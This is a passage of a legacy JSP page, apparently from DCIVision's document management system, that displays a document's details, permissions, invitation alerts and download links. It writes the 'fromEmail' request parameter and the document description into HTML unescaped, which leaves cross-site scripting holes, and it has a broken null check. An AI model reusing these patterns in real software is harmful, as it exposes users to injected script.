<%
/*
 * @(#)ViewDmsDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ViewDmsDocument.jsp

  This class is reflecting business logic uses.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    01/10/2004
    @version          $Revision: 1.127.2.13 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.text.*"%>
<%@ page import="javax.servlet.jsp.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.* "%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.* "%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.alert.bean.UpdateAlert"%>
<%@ page import="com.dcivision.forum.bean.*"%>
<%@ page import="com.dcivision.forum.core.*"%>
<%@ page import="com.dcivision.forum.*"%>
<%@ page import="com.dcivision.alert.core.*"%>
<%@ page import="com.dcivision.alert.bean.*"%>
<%@ page import="com.dcivision.alert.dao.*"%>

<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsDocumentForm" scope="request" class="com.dcivision.dms.web.MaintDmsDocumentForm"/>
<%!
  private String[] getRecipientID(List mtmRecipients) {
    if (mtmRecipients==null && mtmRecipients.isEmpty()) {
      return null;
    }else {
      String[] result = new String[mtmRecipients.size()];
      for (int i=0; i<mtmRecipients.size(); i++) {
        MtmUpdateAlertRecipient mtmUpdateAlertRecipient = (MtmUpdateAlertRecipient)mtmRecipients.get(i);
        result[i] = mtmUpdateAlertRecipient.getRecipientID().toString();
      }
      return result;
    }
  }

%>
<%
  // if document has been deleted from recycle bin. view this document will throw exception, so must check it at the begining.
  // lee.lv 2006/10/20 EIP-342 edit start.........
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);

  Integer documentID = TextUtility.parseIntegerObj((String)request.getAttribute("documentID")==null?(String)request.getAttribute("ID"):(String)request.getAttribute("documentID"));
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  DocumentValidateManager docValidateManager = new DocumentValidateManager(sessionContainer,conn);
  VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);
  UpdateAlertDAObject updateAlertDAO = new UpdateAlertDAObject(sessionContainer,conn);

  DmsDocument dmsDocument=docRetrievalManager.getDocument(documentID);
  if (dmsDocument==null) {
%>
<html>
<head>
<title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<body>
<br><br><br><br>
<center><font color="#FF0000"><h4><bean:message key='errors.dms.check.document_been_deleted'/></h4></font></center>
</form>
</body>
</html>
<%
    return;
  }
  // lee.lv 2006/10/20 EIP-342 edit end......
%>
<html>
<head>
<title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->

<!-- Framework Javascript Begin -->
<script language="Javascript">
  <jsp:include page="/js/Variable.jsp"/>
</script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Calendar.jsp" charset="UTF-8" type="text/javascript"></script>
<!-- Framework Javascript End -->

<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/DmsDocumentListDeleteFacade.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/DmsDocumentCheckoutFacade.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/engine.js'></script>

<!-- Static Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/PermissionSetup.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/AnchorPosition.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ColorPicker.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLibHiddenForm.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Tree.js" charset="UTF-8" type="text/javascript"></script>
<!-- Static Javascript End -->

<!-- Dynamic Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/jsp/customize/CustomizedJS.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="javascript">
g_curr_function_code = "<%=request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)%>";
</script>
<!-- Dynamic Javascript End -->

</head>



<body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#000000" vlink="#000000" alink="#000000" onLoad="INIT();"><div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div>
<html:form type="MaintDmsDocumentForm" action="dms/MaintDmsDocument">
<html:javascript formName="maintDmsDocumentForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%
  /****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
  String      LIST_NAME = "forumGroupDetailList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.label.name_label_D", "DOCUMENT_NAME"},
                            {"dms.columnheader.relationshipType",GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.related_doc_name","RELATED_DOCUMENT_ID "},
                            {"dms.columnheader.location", GlobalConstant.NOT_AVAILABLE},
                          {"common.label.creator","CERATOR"}
                          };
  int     COLUMN_OFFSET = 2;

  //Get and Set all the document info for target document ID
  maintDmsDocumentForm = docRetrievalManager.getAllDocumentRelatedInfo(documentID);
  DmsDocument targetDocument = (DmsDocument)maintDmsDocumentForm.getFormData();

  DmsCheckoutHistory checkoutHistory = new DmsCheckoutHistory();
  String docItemStatus = maintDmsDocumentForm.getItemStatus();
  Integer checkoutPersonID = new Integer("0");
  if (DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus)) {
    checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(TextUtility.parseIntegerObj(maintDmsDocumentForm.getCheckoutID()));
    checkoutPersonID = checkoutHistory.getCheckoutPersonID();
  }

  /*Parameter for common document info */
  final Integer rootID       = TextUtility.parseIntegerObj(maintDmsDocumentForm.getRootID());
  final Integer parentID     = TextUtility.parseIntegerObj(maintDmsDocumentForm.getParentID());
  final String documentType  = maintDmsDocumentForm.getDocumentType();
  final String sCurFunctionCode = (String) maintDmsDocumentForm.getCurFunctionCode();
  final List udfDetailList = (List) maintDmsDocumentForm.getUdfDetailList();
  final List docDetailList = (List) maintDmsDocumentForm.getDocumentDetails();
  String fromEmail=request.getParameter("fromEmail");
  if(Utility.isEmpty(fromEmail)){
    fromEmail=(String)session.getAttribute("fromEmail");
  }
  session.setAttribute("fromEmail",fromEmail);

  //Check for permission and the document location
  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  if (rootFolder == null) {
    rootFolder = (DmsDocument)docRetrievalManager.getRootFolderByRootID(rootID);
  }
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  //Permission string TODO: byPass permission if WF module
  String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, documentID);

  //lee add for bug 6022 in 06/08/02 start....
  Integer updateAlertID = TextUtility.parseIntegerObj(request.getParameter("updateAlertID"));
  Integer UpdateAlertSystemLogIDInteger = TextUtility.parseIntegerObj(request.getParameter("updateAlertSystemLogID"));
  Integer tmpUpdateAlertID = updateAlertDAO.getInvitationIDByAlertIDorSystemLogID(updateAlertID, UpdateAlertSystemLogIDInteger);
  boolean isInvitation = (tmpUpdateAlertID!=null);
  if (isInvitation) {
    if (tmpUpdateAlertID!=null) {
      //replace the error logic "docRetrievalManager.getAllDocumentRelatedInfo(documentID)" in line 131
      MtmUpdateAlertRecipientDAObject mtmUpdateAlertRecipientDAObject= new MtmUpdateAlertRecipientDAObject(sessionContainer,conn);
      UpdateAlertTypeDAObject updateAlertTypeDAO = new UpdateAlertTypeDAObject(sessionContainer,conn);
      UpdateAlertType updateAlertType = (UpdateAlertType)updateAlertTypeDAO.getByupdateAlertID(tmpUpdateAlertID);
      maintDmsDocumentForm.setDueDate(TextUtility.formatTimestampToDate(updateAlertType.getDueDate()));
      maintDmsDocumentForm.setMessage(updateAlertType.getMessage());
      maintDmsDocumentForm.setNotifyWayI(updateAlertType.getNotifyWay());
      maintDmsDocumentForm.setActionTypeI(updateAlertType.getActionType());

      //set Invite recipient lists
      List userRecipientList = mtmUpdateAlertRecipientDAObject.getList(tmpUpdateAlertID, updateAlertType.getID(), UpdateAlert.USER_RECIPIENT, GlobalConstant.RECORD_STATUS_ACTIVE);
      maintDmsDocumentForm.setUserList(this.getRecipientID(userRecipientList));
      List groupRecipientList = mtmUpdateAlertRecipientDAObject.getList(tmpUpdateAlertID, updateAlertType.getID(), UpdateAlert.GROUP_RECIPIENT, GlobalConstant.RECORD_STATUS_ACTIVE);
      maintDmsDocumentForm.setGroupList(this.getRecipientID(groupRecipientList));
      List roleRecipientList = mtmUpdateAlertRecipientDAObject.getList(tmpUpdateAlertID, updateAlertType.getID(), UpdateAlert.ROLE_RECIPIENT, GlobalConstant.RECORD_STATUS_ACTIVE);
      maintDmsDocumentForm.setRoleList(this.getRecipientID(roleRecipientList));
    }

    //add "R" right permission
    if (permission==null) permission = "";
    int idx = 0;
    if ((idx = permission.indexOf("r"))!=-1) {
      permission = permission.substring(0, idx) + "R"+ permission.substring(idx+1);
    }else if ((idx = permission.indexOf("R"))==-1) {
      permission = "R" + permission;
    }else {
      //do nothing
    }
  }
  //lee add for bug 6022 in 06/08/02 end....

  //Get parameter for document download.jsp
  String sVersion = DmsOperationConstant.DMS_TOP_VERSION;
  String sFileName=maintDmsDocumentForm.getDocumentName();
  int iDot = sFileName.lastIndexOf(".");
  String sExt = TextUtility.getExtension(sFileName);
  String contextPath = (String)pageContext.getServletContext().getAttribute(GlobalConstant.CONTEXT_PATH_KEY);

  //Variable for DOCUMENT_LINK
  DmsDocument targetDoc = new DmsDocument();
  DmsDocument targetDocRoot = new DmsDocument();
  String targetDocPermission = "";

  //get list of the document relation
  MtmDocumentRelationshipDAObject dmsMtmDocumentRelationshipDAO = new MtmDocumentRelationshipDAObject (sessionContainer, conn);
  List DocRelationList = new ArrayList();
  List IndirectRelationDocumentList=new ArrayList();
  DocRelationList = dmsMtmDocumentRelationshipDAO.getListByIDRelationType(documentID,null);
  IndirectRelationDocumentList=dmsMtmDocumentRelationshipDAO.getListByRelationIDRelationType(documentID,null);
  //get list of compound document

  List CompoundDocList = new ArrayList();
  if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)||DmsDocument.PAPER_DOC_TYPE.equals(documentType)){
      CompoundDocList=docRetrievalManager.getDocumentListByParentIDRootID(documentID, rootID);
  }

  //Operate the "READ" action indicator for Home page directed
  String updateReadOperation = (String) request.getParameter("updateReadOperation");
  String updateAlertSystemLogID = (String) request.getParameter("updateAlertSystemLogID");
  boolean inviteToRead = false;

  if (!Utility.isEmpty(updateAlertSystemLogID)){
    if("true".equals(updateReadOperation)){
      AlertManager alertManager = new AlertManager(sessionContainer, conn);
      alertManager.updateReadOperationLog(new Integer(updateAlertSystemLogID));
    }
  }

  if (SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_INVITATION_OVERWRITE_STANDARD)){
    inviteToRead = true;
  }

  String displayType = (String)request.getSession().getAttribute("displayType");
  request.getSession().removeAttribute("displayType");
  boolean isDisplay = true;
  if(displayType!=null){
    isDisplay = false;
  }
  String directURL=(String)request.getAttribute("directURL");
  if(Utility.isEmpty(directURL)){
    directURL = request.getContextPath()+"/dms/MaintDmsDocument.do?documentType="+dmsDocument.getDocumentType()+"&rootID="+dmsDocument.getRootID()+"&parentID="+dmsDocument.getID()+"&sCurFunctionCode="+sCurFunctionCode+"&navMode=P&ID="+dmsDocument.getID()+"&objectID="+dmsDocument.getID()+"&fromEmail="+fromEmail+"&updateReadOperation="+updateReadOperation;
    /*directURL=request.getRealPath(request.getRequestURL().toString());
    directURL=new String(directURL.replaceAll("\\\\","/"));
    if(!Utility.isEmpty(request.getQueryString())){
      directURL=directURL+"?"+request.getQueryString().toString();
    }
    int direU=directURL.indexOf("http");
    directURL=directURL.substring(direU,directURL.length());
    int realp=directURL.indexOf(""+request.getContextPath()+"");
    directURL=directURL.substring(realp,directURL.length());*/
  }
  directURL=java.net.URLEncoder.encode(directURL);

  DmsRoot dmsRoot=(DmsRoot)docRetrievalManager.getDmsRootByDocumentID(documentID);
  boolean isPersonalRoot = (dmsRoot!=null && DmsRoot.PERSONAL_ROOT.equals(dmsRoot.getRootType()));

  String recordStatus = maintDmsDocumentForm.getRecordStatus();
  boolean showDownload = SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_SHOW_DOWNLOAD_BUTTON);
%>

<script language="javascript">
<!--
//g_curr_function_code = null; //disable delete menu button;//joan.xiong update code for bug EIP-68 by 2006/10/12
var relatedDocIDArray=new Array();
var indirectRelationDocIDArray=new Array();
var notAllowRelatedDownLoadIDAry = new Array();
var notAllowIndirectRelationDownLoadIDAry=new Array()
function INIT(){
 <%if ("true".equals(request.getAttribute("SUCCESS_CHECKOUT"))) {%>
    window.location.href = "<%= request.getContextPath() %>/dms/FileDownloadServlet?targetID=<%=maintDmsDocumentForm.getID()%>&version=TOP&isDownload=Y";
 <% } %>
}

// close windows
function closeWindow() {
try{//joan.xiong update code for bug EIP-1085 by 2006/11/30
  if (window.opener.location.href.indexOf("ListDmsPublicDocument.do") >= 0) {
    window.opener.location.reload();
  } else if (window.opener.location.href.indexOf("ListDmsDocument.do") >= 0) {
    window.opener.location.href = "<%=request.getContextPath()%>/dms/ListDmsDocument.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>";
  } else if(window.opener.location.href.indexOf("BulkSearchDmsDocument.do") >= 0){
     window.opener.location.href = "<%=request.getContextPath()%>/dms/BulkSearchDmsDocument.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>";
  } else if(window.opener.location.href.indexOf("SearchDmsDocument.do") >= 0){
     window.opener.location.href = "<%=request.getContextPath()%>/dms/SearchDmsDocument.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>";
  } else if(window.opener.location.href.indexOf("SearchKeywordDmsDocument.do") >= 0){
     window.opener.location.href = "<%=request.getContextPath()%>/dms/SearchKeywordDmsDocument.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>";
  }else if(window.opener.location.href.indexOf("Home.do") >= 0){
      window.opener.location.href = "<%=request.getContextPath()%>/Home.do";
  }
}catch(e){}//joan.xiong update code for bug EIP-1085 by 2006/11/30
  window.close();
  return(false);
}
-->
</script>

<layout:titleFormat><font class="pageTitle"><layout:pageTitle linkFlag="false" displayActionStr="false" functionCode="<%=sCurFunctionCode%>" functionType='<%="dms.label.doc_info_"+documentType%>'/></font></layout:titleFormat>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID' value='<%=documentID.toString()%>'/>
<html:hidden property='documentType'/>
<html:hidden property='parentID'/>
<html:hidden property='rootID'/>
<html:hidden property='createType'/>
<html:hidden property='itemSize'/>
<html:hidden property='itemStatus'/>
<html:hidden property='checkoutID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>

<html:hidden property='curFunctionCode' value='<%=sCurFunctionCode%>'/>
<html:hidden property="closeFlag" value="0"/>
<html:hidden property="trueFileName"/>
<html:hidden property="emailAttachment"/>

<input type='hidden' name='documentID' value='<%=documentID%>'/>
<input type="hidden" name="fromEmail" value="<%=fromEmail%>">
<!-- joan.xiong add code for bug EIP-68 by 2006/10/12 -->
<input type="hidden" name="basicSelectedID" value="<%=documentID%>"/>
<input type="hidden" name="ignoreDeleteShortcut"/>
<!-- joan.xiong add code end-->

<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<!-- System And Error Messages Begin -->
<table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
<html:errors/>
<html:messages/>
</td></tr></table>
<%
//if from email,the system log is deleted ,not allow view this document
if(request.getAttribute("notAllowRead")==null){

  %>
<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <tr>
    <td><layout:sectionHeader name='dms.label.doc_info_D'/></td>
  </tr>
</table>
<table width="100%" border="0" cellspacing="2">
  <tr>
    <td width="25%" valign="top" class="<layout:classLabel mandatory='false'/>"><bean:message key='dms.label.location'/>:&nbsp;</td>
    <td width="75%" class="formFieldSmall">
    <dms:locationPath parentID="<%=parentID%>" rootID="<%=rootID%>" permission='<%=permission%>' rootDocument='<%=rootFolder%>' indexFlag='RelatedDocIndexFlag'/>
    </td>
  </tr>
<%  if (DmsDocument.DOCUMENT_LINK.equals(documentType)){
      targetDoc = (DmsDocument)request.getAttribute("targetDoc");
      if (targetDoc!=null) {
        targetDocRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(targetDoc.getRootID());
        targetDocPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, targetDoc.getID());
      }
    }  %>
  <tr>
    <td width="25%" valign="top" class="formLabelSmall"><bean:message key='<%="dms.label.doc_type_"+documentType%>'/> <bean:message key="dms.label.document_name"/>:&nbsp;</td>
    <td width="75%" class="formFieldSmall">
      <%//Update By Jim.Zhou		2006/07/27		Bug	#5867%>
      <%//if("true".equals(fromEmail)){%>
        <!--<html:img src='IconTreeSetupOptionDisable.gif'  align='absmiddle'/>-->
      <%// } else { %>
      <%//Update End%>
        <%
          boolean isPassEffective = true;
          if(targetDocument.isExpired()){
            isPassEffective = false;
          }
          if (!DmsVersion.ARCHIVED_STATUS.equals(docItemStatus) && GlobalConstant.RECORD_STATUS_ACTIVE.equals(targetDocument.getRecordStatus()) &&isDisplay&&isPassEffective) { %>
          <%//Update By Jim.Zhou		2006/06/30		Bug	#5522%>
        <%//Update By Jim.Zhou		2006/08/03		Bug	#5983  change permission/PERSONAL
          //Update By Jim Zhou		2006/10/11		EIP-332  about permission
          //joan.xiong update code for bug EIP-68 2006/10/12 about make delete button enable%>
					<a href="" onClick="return overlib(FUNCTION, 'getMenuText(\'<%=TextUtility.escapeJSString(((DmsDocument)dmsDocument).getDocumentName().replaceAll("\'","&acute;"))%>\', \'<%=documentType%>\',  \'<%=documentID%>\', \'<%=parentID%>\', \'<%=rootID%>\', \'<bean:write name='listLoopCnt'/>\', \'<%=docValidateManager.checkExpireDocumentOwner((DmsDocument) dmsDocument)%>\', \'<%=checkoutPersonID%>\', \'<%=sessionContainer.getUserRecordID()%>\',\'<%=(isPersonalRoot&&!permission.equals("R"))?"PERSONAL":permission%>\',\'<%=dmsDocument.getHasRelationship()%>\',\'<%=directURL%>\',\'<%=dmsRoot.getRootType()%>\',null,\'<%=UpdateAlertSystemLogIDInteger%>\')', FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY);"><html:img src='IconTreeSetupOption.gif' common='true' align='absmiddle'/></a>
        <% } %>
     <%//}%>&nbsp;
    <nobr><dms:documentInfo docObject='<%=(DmsDocument)maintDmsDocumentForm.getFormData()%>' permission='<%=permission%>' rootDocument='<%=rootFolder%>' isOverLib='true'/></nobr>
       <%if(!SystemFunctionConstant.DMS_EMPTY_FILE.equals(sCurFunctionCode)){%>
      <html:img src='LayoutSpacer.gif'  width='30'/>
      <% if ((GlobalConstant.RECORD_STATUS_INACTIVE.equals(maintDmsDocumentForm.getRecordStatus()))||(DmsVersion.ARCHIVED_STATUS.equals(maintDmsDocumentForm.getItemStatus()))){%>
      <html:standardButton label="dms.label.open" disable="true"/>
    <%if(showDownload){%>
      <html:standardButton label="dms.label.download" disable="true"/>
    <%}%>
      <%}else if (DmsDocument.DOCUMENT_LINK.equals(documentType) && targetDoc!=null && (GlobalConstant.RECORD_STATUS_INACTIVE.equals(targetDoc.getRecordStatus()) || DmsVersion.ARCHIVED_STATUS.equals(targetDoc.getItemStatus()))){//Update By Jim.Zhou		2006/08/10	Bug #5992%>
      <html:standardButton label="dms.label.open" disable="true"/>
    <%if(showDownload){%>
      <html:standardButton label="dms.label.download" disable="true"/>
    <%}%>
      <%}else{%>
        <%if ((!Utility.isEmpty(permission) && permission.indexOf("R")>=0) || (inviteToRead && DmsRoot.PERSONAL_ROOT.equals(dmsRoot.getRootType())) || (inviteToRead && DmsRoot.PUBLIC_ROOT.equals(dmsRoot.getRootType()))){%>
          <%if(!DmsDocument.PAPER_DOC_TYPE.equals(documentType) && (!DmsDocument.PAPER_DOC_TYPE.equals(targetDoc.getDocumentType())) ){%>
          <html:standardButton label="dms.label.open" link='<%=contextPath+"/dms/FileDownloadServlet?sCurFunctionCode="+sCurFunctionCode+"&targetID="+maintDmsDocumentForm.getID()+"&documentType="+documentType+"&version="+sVersion+"&updateAlertID="+tmpUpdateAlertID+"&ext=."+sExt%>' target="_blank"/>
          <%if(showDownload){%>
            <html:standardButton label="dms.label.download" link='<%=contextPath+"/dms/FileDownloadServlet?sCurFunctionCode="+sCurFunctionCode+"&targetID="+maintDmsDocumentForm.getID()+"&documentType="+documentType+"&version="+sVersion+"&updateAlertID="+tmpUpdateAlertID+"&isDownload=Y&ext=."+sExt%>'/>
            <%}%>
          <%}%>
          <%if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)){%>
               <%if(showDownload){%>
        <html:standardButton label="dms.label.download_all" link='<%=contextPath + "/jsp/dms/ZipCompoundDownload.jsp?sCurFunctionCode=" + sCurFunctionCode + "&targetID=" + maintDmsDocumentForm.getID() + "&version=" + sVersion + "&isDownload=Y&ext=." + sExt%>'/>
               <%}%>
          <%}%>
        <%}else{%>
          <html:standardButton label="dms.label.open" disable="true"/>
              <%if(showDownload){%>
               <html:standardButton label="dms.label.download" disable="true"/>
              <%}%>
          <%if(DmsDocument.COMPOUND_DOC_TYPE.equals(documentType)){%>
        <%if(showDownload){%>
              <html:standardButton label="dms.label.download_all" disable="true"/>
        <%}%>
          <%}%>
         <%}%>
      <%}%>
    <%}%>
  </td>
  </tr>
  <%if (SystemFunctionConstant.DMS_PERSONAL_FOLDER.equals(sCurFunctionCode) || (DmsDocument.DOCUMENT_LINK.equals(documentType))){%>
  <html:hidden property='effectiveStartDate'/>
  <html:hidden property='effectiveEndDate'/>
  <%} else {
    %>
  <tr>
    <td width="25%" class="formLabelSmall"><bean:message key='dms.label.effective_start_date'/>:&nbsp;</td>
    <td width="75%" class="formFieldSmall">
    <%=TextUtility.formatDate(targetDocument.getEffectiveStartDate(), SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT))%>
    </td>
  </tr>
  <tr>
    <td width="25%" class="formLabelSmall"><bean:message key='dms.label.effective_end_date'/>:&nbsp;</td>
    <td width="75%" class="formFieldSmall">
    <%=TextUtility.formatDate(targetDocument.getEffectiveEndDate(), SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT))%>
    </td>
  </tr>
  <%}%>
<%  if (DmsDocument.DOCUMENT_LINK.equals(documentType) && targetDoc!=null ){%>
      <%
        Integer targetCheckoutPersonID = new Integer("0");
        DmsRoot dmsTargetRoot = docRetrievalManager.getDmsRoot(targetDoc.getRootID());
        boolean isTargetPersonalRoot = (dmsTargetRoot!=null && DmsRoot.PERSONAL_ROOT.equals(dmsTargetRoot.getRootType()));
        if (DmsVersion.EXCLUSIVE_LOCK.equals(targetDoc.getItemStatus())) {
           checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(((DmsDocument) targetDoc).getCheckoutID());
           targetCheckoutPersonID = checkoutHistory.getCheckoutPersonID();
        }
        String targetPermission = isTargetPersonalRoot ? "PERSONAL" : permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, targetDoc.getID(), null, null);
      %>
    <tr>
      <td class="formLabelSmall" width='25%' valign='top'><bean:message key='dms.label.target_file'/>:&nbsp;</td>
      <td class="formFieldSmall">
        <%if("true".equals(fromEmail)){%>
          <html:img src='IconTreeSetupOptionDisable.gif'  align='absmiddle'/>
        <% } else { %>
          <% if (!DmsVersion.ARCHIVED_STATUS.equals(docItemStatus)&&isDisplay) { %>
            <%//Update By Jim.Zhou		2006/06/30		Bug	#5522
              //joan.xiong update code for bug EIP-68 2006/10/12 about make delete button enable%>
						<a href="" onClick="return overlib(FUNCTION, 'getMenuText(\'<%=TextUtility.escapeJSString(((DmsDocument)dmsDocument).getDocumentName().replaceAll("\'","&acute;"))%>\', \'<%=targetDoc.getDocumentType()%>\',  \'<%=targetDoc.getID()%>\', \'<%=targetDoc.getParentID()%>\', \'<%=targetDoc.getRootID()%>\', \'<bean:write name='listLoopCnt'/>\', \'<%=docValidateManager.checkExpireDocumentOwner((DmsDocument) targetDoc)%>\', \'<%=targetCheckoutPersonID%>\', \'<%=sessionContainer.getUserRecordID()%>\',\'<%=isTargetPersonalRoot ? "PERSONAL" :targetPermission%>\',\'<%=targetDoc.getHasRelationship()%>\',\'<%=directURL%>\',\'<%=dmsTargetRoot.getRootType()%>\',null)', FULLHTML, TEXTSIZE, 2, WIDTH, 120, OFFSETX, 0, OFFSETY, 0, CENTER, STICKY);"><html:img src='IconTreeSetupOption.gif' common='true' align='absmiddle'/></a>
          <% } %>
        <%}%>&nbsp;
      <dms:documentInfo docObject='<%=(DmsDocument)targetDoc%>' recordStatus='<%=targetDoc.getRecordStatus()%>' curFunctionCode='' permission='<%=targetDocPermission%>' rootDocument='<%=targetDocRoot%>' linkFlag='false'/>
      </td>
    </tr>
    <tr>
      <td class="formLabelSmall" width="'25%" valign='top'><bean:message key='dms.label.target_file_location'/>:&nbsp;</td>
      <td class="formFieldSmall"  width='75%'><nobr>
      <dms:locationPath parentID="<%=targetDoc.getParentID()%>" rootID="<%=targetDoc.getRootID()%>" permission='<%=targetDocPermission%>' rootDocument='<%=targetDocRoot%>' indexFlag='showIndexFlag'/>
      </nobr>
      </td>
    </tr>

    <%}else{         %>
  <tr>
    <td class="formLabelSmall" width="25%"><bean:message key='common.label.priority'/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%">
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_HIGH%>' textOnly="true"><bean:message key='common.priority.label_3'/></html:radio>
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_MEDIUM%>' textOnly="true"><bean:message key='common.priority.label_2'/></html:radio>
      <html:radio property='priority' value='<%=GlobalConstant.PRIORITY_LOW%>' textOnly="true"><bean:message key='common.priority.label_1'/></html:radio>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall" width="25%"><bean:message key='dms.label.reference_no'/>:&nbsp;</td>
    <td class="formFieldSmall" width="75%"><%=maintDmsDocumentForm.getReferenceNo()==null?"-":maintDmsDocumentForm.getReferenceNo()%></td>
  </tr>
  <%}%>
  <tr>
    <td width="25%" valign="top" class="formLabelSmall"><bean:message key='dms.label.description'/>:&nbsp;</td>
    <td width="75%" class="formFieldSmall">
    <% String description = maintDmsDocumentForm.getDescription();
       description = TextUtility.replaceString(description, "\n", "<br>&nbsp;");
       if (!Utility.isEmpty(description)){%>
          <%=description%>
       <%}else{%>
            <%=GlobalConstant.EMPTY_FIELD%>
       <%}%>
    </td>
  </tr>
<%
  if (DmsDocument.DOCUMENT_TYPE.equals(documentType)||DmsDocument.PAPER_DOC_TYPE.equals(documentType)||
